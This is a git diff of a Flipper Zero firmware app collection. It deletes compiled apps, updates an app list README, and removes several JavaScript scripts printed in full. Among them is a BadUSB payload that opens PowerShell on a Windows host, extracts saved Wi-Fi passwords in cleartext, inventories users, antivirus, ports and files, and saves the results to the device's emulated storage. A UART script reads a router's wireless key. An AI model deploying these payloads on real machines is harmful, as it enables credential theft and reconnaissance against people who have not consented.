RM)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap deleted file mode 100644 index 5afe0a1a6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap deleted file mode 100644 index 7b4fe4b10..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap deleted file mode 100644 index cc7724a65..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap deleted file mode 100644 index 2b5ea2368..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap deleted file mode 100644 index 1302ef085..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap deleted file mode 100644 index 69dc65926..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap deleted file mode 100644 index 4982798aa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap deleted file mode 100644 index b28ace2f4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap deleted file mode 100644 index f8b9aebbe..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap deleted file mode 100644 index cbd0c56ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/README.md b/Applications/Custom (UL, RM)/RogueMaster/README.md index e9b0216dd..dcbda44c0 100644 --- a/Applications/Custom (UL, RM)/RogueMaster/README.md +++ b/Applications/Custom (UL, RM)/RogueMaster/README.md @@ -25,6 +25,7 @@ - [Color Guess v1.6 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) - [Connect Wires v1.2 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) - [Crossy Road v1.0 (By Mikael098)](https://github.com/Mikael098/CrossyRoad-FlipperZero-) +- [DeadZone v0.1 (By retrooper)](https://github.com/retrooper/deadzone) - [Devilliers Platformer v0.1 (By adevil5)](https://github.com/adevil5/flipper-platformer-game) - [Dice (RM) Including SEX/WAR/8BALL/WEED/DRINK DICE v2.4 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dice) - [DnD Dice v1.3 (By Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-dice) @@ -63,7 +64,7 @@ - [PacMan WIP v0.1 (By DanieleMaffi)](https://github.com/DanieleMaffi/flipper-pacman) - [Paper Plane v1.3 (By Larry-the-Pig)](https://github.com/Larry-the-Pig/flipper-plane) - [Paint v1.2 (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e) -- [Pinball0 v0.5.1 (By rdefeo)](https://github.com/rdefeo/pinball0) +- [Pinball0 v0.5.2 (By rdefeo)](https://github.com/rdefeo/pinball0) - [Pong v1.3 (By nmrr)](https://github.com/nmrr/flipperzero-pong) - [Quadrastic v1.0.2 (By ivanbarsukov)](https://github.com/ivanbarsukov/flipperzero-quadrastic) - [Questions v1.1 (By nikilark)](https://github.com/nikilark/flipper_questions) @@ -150,7 +151,7 @@ - [Cookie Clicker v1.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/hid/hid_cookie) - [Count Down Timer v1.5 (By 0w0mewo)](https://github.com/0w0mewo/fpz_cntdown_timer) - [Counter v1.5 (By Krulknul & TEXploder)](https://github.com/TEXploder/TEX-Counter) -- [Cross Remote v3.0 (By leedave)](https://github.com/leedave/flipper-zero-cross-remote) +- [Cross Remote v3.1 (By leedave)](https://github.com/leedave/flipper-zero-cross-remote) - [Crypto Dictionary v0.1 (By armixz)](https://github.com/armixz/Flipper-Zero-Crypto-Dictionary) - [Cyborg Detector v1.1 (By RocketGod-Git)](https://github.com/RocketGod-Git/Flipper-Zero-Cyborg-Detector) - [Dab Timer v2.0 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dabtimer) @@ -215,6 +216,7 @@ - [Flizzer Tracker v0.9 (By LTVA1)](https://github.com/LTVA1/flizzer_tracker) - [FM Radio v1.1.1 (By coolshrimp)](https://github.com/coolshrimp/flipperzero-firmware-wPlugins/tree/420/applications/external/fm_radio) - [FMF2USBMIDI v0.1 (By crackerjacques)](https://github.com/crackerjacques/Flipper_Zero_FMF2USBMIDI) +- [Ford Radio Codes v0.1 (By DavidB445)](https://github.com/DavidB445/fz_fordradiocodes) - [Frequency Analyzer (External) v1.0 (By xMasterX)](https://github.com/xMasterX/all-the-plugins/tree/dev/non_catalog_apps/freq_analyzer_ext) - [Gas Sensor v0.1 (By iancohee)](https://github.com/iancohee/gas_sensor_fap) `Req: BME680 / SGP30` - [Gauge Tool v0.1 (By skotopes)](https://github.com/skotopes/flipperzero_gauge_tool) (Used To Downgrade From 10/07/2024 Update) @@ -226,6 +228,7 @@ - [GPIO 7-Segment Output v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [GPIO Badge v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/gpio_badge) - [GPIO Controller (By Lokno)](https://github.com/Lokno/gpio_controller) +- [GPIO Explorer v1.0 (By EvgeniGenchev07)](https://github.com/EvgeniGenchev07/gpio_explorer) - [GPIO Reader (biotinker) (By biotinker)](https://github.com/biotinker/flipperzero-gpioreader) - [GPIO Reader v1.2 (Aurelilc) (By aureli1c)](https://github.com/aureli1c/flipperzero_GPIO_read) - [GPIO w I2C (By gornekich)-OFW] with [I²C-Scanner #1431 (By GitChris3004)](https://github.com/flipperdevices/flipperzero-firmware/pull/1431) and [read EEPROM of SFP Modules using I2C (By marcusju)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/198) @@ -236,7 +239,7 @@ - [HID File Transfer v1.0 (By Kavakuo)](https://github.com/Kavakuo/HID-File-Transfer) - [i2c Tools v1.2 (By NaejEL)](https://github.com/NaejEL/flipperzero-i2ctools) - [iButton Fuzzer v1.6 (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/507) -- [ID Card v2.1 (By evillero)](https://github.com/evillero/ID_card_v2) +- [ID Card v3.0 (By evillero)](https://github.com/evillero/ID_card_v2) - [IFTTT Button (By Ferrazzi)](https://github.com/Ferrazzi/FlipperZero_IFTTT_Virtual_Button) `Req: ESP8266 w/ IFTTT FW Flashed` - [Image Viewer v0.1 (By polioan)](https://github.com/polioan/flipper-zero-image-viewer) - [Intervalometer v1.2 (By theageoflove)](https://github.com/theageoflove/flipperzero-zeitraffer) @@ -249,11 +252,13 @@ - [J305 Geiger Counter v1.4 (By nmrr)](https://github.com/nmrr/flipperzero-geigercounter) - [JS Runner v1.0 (By nminaylov & DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/3286) - [Key Copier v1.1 (By zinongli)](https://github.com/zinongli/KeyCopier) +- [Lab401/Light MESSENGER v1.1 (By tixlegeek)](https://github.com/lab-401/fzLightMessenger/tree/main/401lightMessengerApp) - [LaserCat v1.1 (By DroWez)](https://github.com/DroWez/LaserCat) - [LED Pulsator (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) - [Lightmeter v1.3 (By oleksiikutuzov)](https://github.com/oleksiikutuzov/flipperzero-lightmeter) `Req: BH1750/MAX44009` - [Lishi HU66 v0.2 (By evillero)](https://github.com/evillero/lishi_hu66) - [Logic Analyzer (By g3gg0)](https://github.com/g3gg0/flipper-logic_analyzer) +- [Longwave Clock v0.1 (By m7i-org)](https://github.com/m7i-org/flipper_longwave_clock) - [LoRa Relay v1.1.3 (By ElectronicCats)](https://github.com/ElectronicCats/flipper-SX1262-LoRa) `Req: SX1262 By ElectronicCats` - [LoRa Sample v1.1.3 (By ElectronicCats)](https://github.com/ElectronicCats/flipper-SX1262-LoRa) `Req: SX1262 By ElectronicCats` - [LORA Terminal (By aafksab)](https://github.com/aafksab/LORA-Term) @@ -268,7 +273,7 @@ - [Marmalade v0.1.1 (By RocketGod)](https://github.com/RocketGod-git/flipper-zero-rf-jammer) (Exercise Caution and Follow Your Local Laws) - [Math Wiz v1.1 (By ImPapaGhost)](https://github.com/ImPapaGhost/math_wiz) - [MAX31855 (By skotopes)](https://github.com/skotopes/flipperzero_max31855) -- [Metroflip v0.4.11 (By luu176)](https://github.com/luu176/Metroflip) +- [Metroflip v0.6 (By luu176)](https://github.com/luu176/Metroflip) - [Metronome v1.3 (By panki27)](https://github.com/panki27/Metronome) - [MFC Editor v1.0 (By TollyH)](https://github.com/TollyH/flipper-apps) - [Mfkey v3.0 (By noproto)](https://github.com/noproto/FlipperMfkey) @@ -294,6 +299,7 @@ - [NFC/RFID Detector v1.4 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2795) - [NFC Comparator v1.2 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Comparator) - [NFC E-Ink Tags v1.0.4 (By RebornedBrain)](https://github.com/flipperdevices/flipperzero-good-faps/pull/245) +- [NFC Keyboard v1.0 (By Patrick762)](https://github.com/Patrick762/flipper-nfc-keyboard) - [NFC Magic v1.14 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) - [NFC Maker v1.3 (by Willy-JL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/343cb39d08f60b75b537e1a31100707935cf6e9d) - [NFC Playlist v2.8 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) @@ -314,6 +320,7 @@ - [Password Generator v1.3 (By anakod)](https://github.com/anakod/flipper_passgen) - [PC Monitor v1.1 (By TheSainEyereg)](https://github.com/TheSainEyereg/flipper-pc-monitor) _Req: [Backend](https://github.com/TheSainEyereg/flipper-pc-monitor-backend)_ - [Pet a Dolphin v1.2 (By ugeneSmile)](https://github.com/EugeneSmile/PetADolphin) +- [Pet Your Dolphin v0.1 (By dwight9339)](https://github.com/dwight9339/pet_your_dolphin) - [pForth (By twisted-pear)](https://github.com/twisted-pear/f0forth) - [Pi Terminal v1.0 (By dagnazty & InfoSecREDD)](https://github.com/InfoSecREDD/Flip-pi) - [PicoPass (iClass) v1.18 (By Bettse)](https://gitlab.com/bettse/picopass) @@ -323,11 +330,12 @@ - [Pokemon Trading v2.3 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) - [Pomodoro Timer v1.4 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) - [Pomodoro 2 v1.4 (By Th3Un1q3)](https://github.com/Th3Un1q3/flipp_pomodoro) +- [Portal of Flipper v1.0 (By bettse)](https://gitlab.com/bettse/portal_of_flipper) - [Postman v0.1 (By MassivDash)](https://github.com/MassivDash/flipper-postman) `Req: ESP32S2` with [Postman Firmware](https://github.com/MassivDash/flipper-postman-esp32s2) - [Programmer Calculator v0.9.2 (By armixz)](https://github.com/armixz/Flipper-Zero-Programmer-Calculator) - [Protocol Visualizer v1.2 (By antirez)](https://github.com/antirez/protoview) - [QR Code v2.1.4 (By bmatcuk)](https://github.com/bmatcuk/flipperzero-qrcode) -- [Quac! v0.7.1 (By rdefeo)](https://github.com/rdefeo/quac) +- [Quac! v0.7.2 (By rdefeo)](https://github.com/rdefeo/quac) - [Radar Scanner v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/flipper-radar) `Req: RCWL-0516` - [Radiation Sensor v1.0 (By sionyx)](https://github.com/sionyx/flipper_radsens) `Req: RadSens` - [Radio Scanner v0.2 (By RocketGod)](https://github.com/RocketGod-Git/Flipper-Zero-Radio-Scanner) @@ -360,12 +368,12 @@ - [Spotify Remote v0.1 (By benjamindrussell)](https://github.com/benjamindrussell/flipper-spotify-remote) `Req: ESP32` with [ESP32 Spotify Remote](https://github.com/benjamindrussell/esp32-spotify-remote) - [SPI Mem Manager v1.4 (By drunkbatya)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/spi_mem_manager) - [SPI Terminal v0.2 (By janwiesemann)](https://github.com/janwiesemann/flipper-spi-terminal) -- [StroboMeter v1.0 (By LeanderJDev)](https://github.com/LeanderJDev/FlipperStroboMeterApp) +- [StroboMeter v1.1 (By LeanderJDev)](https://github.com/LeanderJDev/FlipperStroboMeterApp) - [Sub-GHz Bruteforcer v3.15.1 (By Ganapati/xMasterX/derskythe)](https://github.com/derskythe/flipperzero-subbrute/tree/master) - [Sub-GHz Playlist v1.0 (By darmiel)](https://github.com/darmiel/flipper-playlist) - [Sub-GHz Remote v1.4 (By gid9798)](https://github.com/DarkFlippers/SubGHz_Remote) - [Sub-GHz Rolling Flaws v1.5 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials) -- [Sub-GHz Scheduler v1.0 (By shalebridge)](https://github.com/shalebridge/flipper-subghz-scheduler) +- [Sub-GHz Scheduler v2.2 (By shalebridge)](https://github.com/shalebridge/flipper-subghz-scheduler) - [SWD Probe v1.2 (By g3gg0)](https://github.com/g3gg0/flipper-swd_probe) - [T5577 Multiwriter v0.2 (By Leptopt1los)](https://github.com/Leptopt1los/t5577_multiwriter) - [T5577 Raw Writer v1.1 (By zinongli)](https://github.com/zinongli/T5577_Raw_Writer) @@ -392,7 +400,7 @@ - [VB Migration Assistant v1.3 (By GMMan)](https://github.com/GMMan/flipperzero-vb-migrate) - [VGM Air Mouse v1.3 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/motion_mouse_app) `Req: ICM42688, or Video Game Module By Flipper Devices` - [Video Player v0.3 (By LTVA1)](https://github.com/LTVA1/flipper-zero-video-player) -- [VIN Decoder v0.1 (By evillero)](https://github.com/evillero/vin_decoder) +- [VIN Decoder v0.2 (By evillero)](https://github.com/evillero/vin_decoder) - [Voltage Calculator v1.0 (By HappyAmos)](https://github.com/HappyAmos/Flipper_FAPS) - [Voyah Password v0.2 (By bolknote)](https://github.com/bolknote/Flipper-Zero-Voyah-Password) - [Wardriver GPS v1.0 (By Sil333033)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/wardriver) @@ -429,4 +437,4 @@ - [Amiibo Remixer ($200 ETH or BTC BOUNTY AND 6 Months Subscriber Builds)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/issues/1026) - `Bluetooth Audio` APP to allow flipper to pair to external speaker or headphones for wav/mp3 playback ($200 USD in ETH or BTC) (Don't think this is possible) -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0201-1726-0.420.0-925311a.tgz&channel=RM0201-1726-0.420.0-925311a&version=0.420.0) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0216-0021-0.420.0-adfe120.tgz&channel=RM0216-0021-0.420.0-adfe120&version=0.420.0) diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap deleted file mode 100644 index e1d3d4eff..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap deleted file mode 100644 index 33b614aa5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap deleted file mode 100644 index 266d516e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap deleted file mode 100644 index a41690174..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap deleted file mode 100644 index b3ec8b78c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap deleted file mode 100644 index 724917d2c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap deleted file mode 100644 index 0ce12d472..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap deleted file mode 100644 index 87c3bc647..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap deleted file mode 100644 index ff7478088..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js deleted file mode 100644 index 59b4f92a8..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js +++ /dev/null @@ -1,85 +0,0 @@ -// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) -// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) -//MassStorage Name -let image = "/ext/apps_assets/mass_storage/test.img"; -//MassStorage Size -let size = 8 * 1024 * 1024; -//Le Script -let script = [ - "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date - "$Time = Get-Date -Format hh-mm-ss;",//Get Time - "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model - "Get-LocalUser >> stats.txt;", //List users on the system - "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false - "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used - "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes - "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords - "dir env: >> stats.txt;", //Check ENV - "Get-Computerinfo >> stats.txt;", //ComputerInfo - "Get-Service >> stats.txt;", // Get runing services - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost - "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports - "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. - "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames -]; - -//Script crawler -let command = ""; -for (let i = 0; i < script.length; i++) { - command += script[i]; -} - -//Requirements -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); - -//Check if MassStorage image Exists... -print("Checking for Image..."); -if (storage.exists(image)) { - print ("Storage Exists."); -} -//Create MassStorage in case it doesnt exists -else { - print ("Creating Storage..."); - usbdisk.createImage(image, size); -} - -//VID&PID as HID -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); -print("Waiting for connection"); - -//Keep Connected -while (!badusb.isConnected()) { - delay(1000); -} - -//Program Start!! -badusb.press("GUI", "x");//Open admin tools menu -delay(300); -badusb.press("i");//Select PowerShell -delay(3000); -//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu -/* -badusb.press("GUI", "r");//Open Run -delay(300); -badusb.println("powershell"); -badusb.press("ENTER"); -*/ -print("Running payload"); -badusb.println(command, 10);//Run Script Crawler -badusb.press("ENTER"); -badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save -badusb.press("ENTER"); -badusb.quit(); -delay(2000); -usbdisk.start(image);//Open MassStorage Folder -print("Please wait until powershell window closes to eject..."); - -//Ejected check -while (!usbdisk.wasEjected()) { - delay(1000); -} -//Stop Script -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js deleted file mode 100644 index eafc96aa5..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js +++ /dev/null @@ -1,21 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); - -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -function OpenSiteWin() -{ - badusb.press("GUI", "r"); - delay(100); - badusb.println("https://rogue-master.net", 1); - delay(100); -} -if (badusb.isConnected()) -{ - OpenSiteWin(); - print("Executed"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js deleted file mode 100644 index 0506d348c..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js +++ /dev/null @@ -1,42 +0,0 @@ -// This is an example of how to use the analog pins (ADC) on the Flipper Zero. -// The example uses a reference voltage of 2048mV (2.048V), but you can also use 2500mV (2.5V). -// The example reads the values of the analog pins A7, A6, and A4 and prints them to the console. -// The example also checks if the value of A7 is twice the value of A6 and breaks the loop if it is. -// The example uses the analog pins A7, A6, and A4, but you can also use PC3, PC1, and PC0. - -let gpio = require("gpio"); - -// initialize pins A7, A6, A4 as analog (you can also use PC3, PC1, PC0) -gpio.init("PA7", "analog", "no"); // pin, mode, pull -gpio.init("PA6", "analog", "no"); // pin, mode, pull -gpio.init("PA4", "analog", "no"); // pin, mode, pull - -gpio.startAnalog(2048); // vRef = 2.048V (you can also use 2500 for a 2.5V reference voltage) - -while (true) { - let pa7_value = gpio.readAnalog("PA7"); - let pa6_value = gpio.readAnalog("PA6"); - let pa4_value = gpio.readAnalog("PA4"); - print("A7: " + to_string(pa7_value) + " A6: " + to_string(pa6_value) + " A4: " + to_string(pa4_value)); - delay(100); - if (pa7_value === pa6_value * 2) { - break; - } -} -print("A7 is twice A6!"); - -gpio.stopAnalog(); - -// possible analog pins https://docs.flipper.net/gpio-and-modules#miFsS -// "PA7" aka 2 -// "PA6" aka 3 -// "PA4" aka 4 -// "PC3" aka 7 -// "PC1" aka 15 -// "PC0" aka 16 - -// possible modes -// "analog" - -// possible pull -// "no" diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js deleted file mode 100644 index ddb572ee7..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js +++ /dev/null @@ -1,8 +0,0 @@ -let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); -print("len =", arr_1.buffer.byteLength); - -let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6)); -print("slice len =", arr_2.buffer.byteLength); -for (let i = 0; i < arr_2.buffer.byteLength; i++) { - print(arr_2[i]); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js deleted file mode 100644 index 9396a3464..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js +++ /dev/null @@ -1,20 +0,0 @@ -let serial = require("serial"); -serial.setup("lpuart", 115200); - -// serial.write("\n"); -serial.write([0x0a]); -let console_resp = serial.expect("# ", 1000); -if (console_resp === undefined) { - print("No CLI response"); -} else { - serial.write("uci\n"); - let uci_state = serial.expect([": not found", "Usage: "]); - if (uci_state === 1) { - serial.expect("# "); - serial.write("uci show wireless\n"); - serial.expect(".key="); - print("key:", serial.readln()); - } else { - print("uci cmd not found"); - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js deleted file mode 100644 index be94a64d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js +++ /dev/null @@ -1,48 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -let flipper = require("flipper"); -let dialog = require("dialog"); - -badusb.setup({ - vid: 0xAAAA, - pid: 0xBBBB, - mfr_name: "Flipper", - prod_name: "Zero", - layout_path: "/ext/badusb/assets/layouts/en-US.kl" -}); -dialog.message("BadUSB demo", "Press OK to start"); - -if (badusb.isConnected()) { - notify.blink("green", "short"); - print("USB is connected"); - - badusb.println("Hello, world!"); - - badusb.press("CTRL", "a"); - badusb.press("CTRL", "c"); - badusb.press("DOWN"); - delay(1000); - badusb.press("CTRL", "v"); - delay(1000); - badusb.press("CTRL", "v"); - - badusb.println("1234", 200); - - badusb.println("Flipper Model: " + flipper.getModel()); - badusb.println("Flipper Name: " + flipper.getName()); - badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); - - // Alt+Numpad method works only on Windows!!! - badusb.altPrintln("This was printed with Alt+Numpad method!"); - - // There's also badusb.print() and badusb.altPrint() - // which don't add the return at the end - - notify.success(); -} else { - print("USB not connected"); - notify.error(); -} - -// Optional, but allows to interchange with usbdisk -badusb.quit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md deleted file mode 100644 index 6bd494357..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md +++ /dev/null @@ -1,89 +0,0 @@ -# BadUSB - -[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) - -This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. - -## Overview summary -This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. - -This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. - -Many of these ideas are from the Momentum Discord server's script-sharing 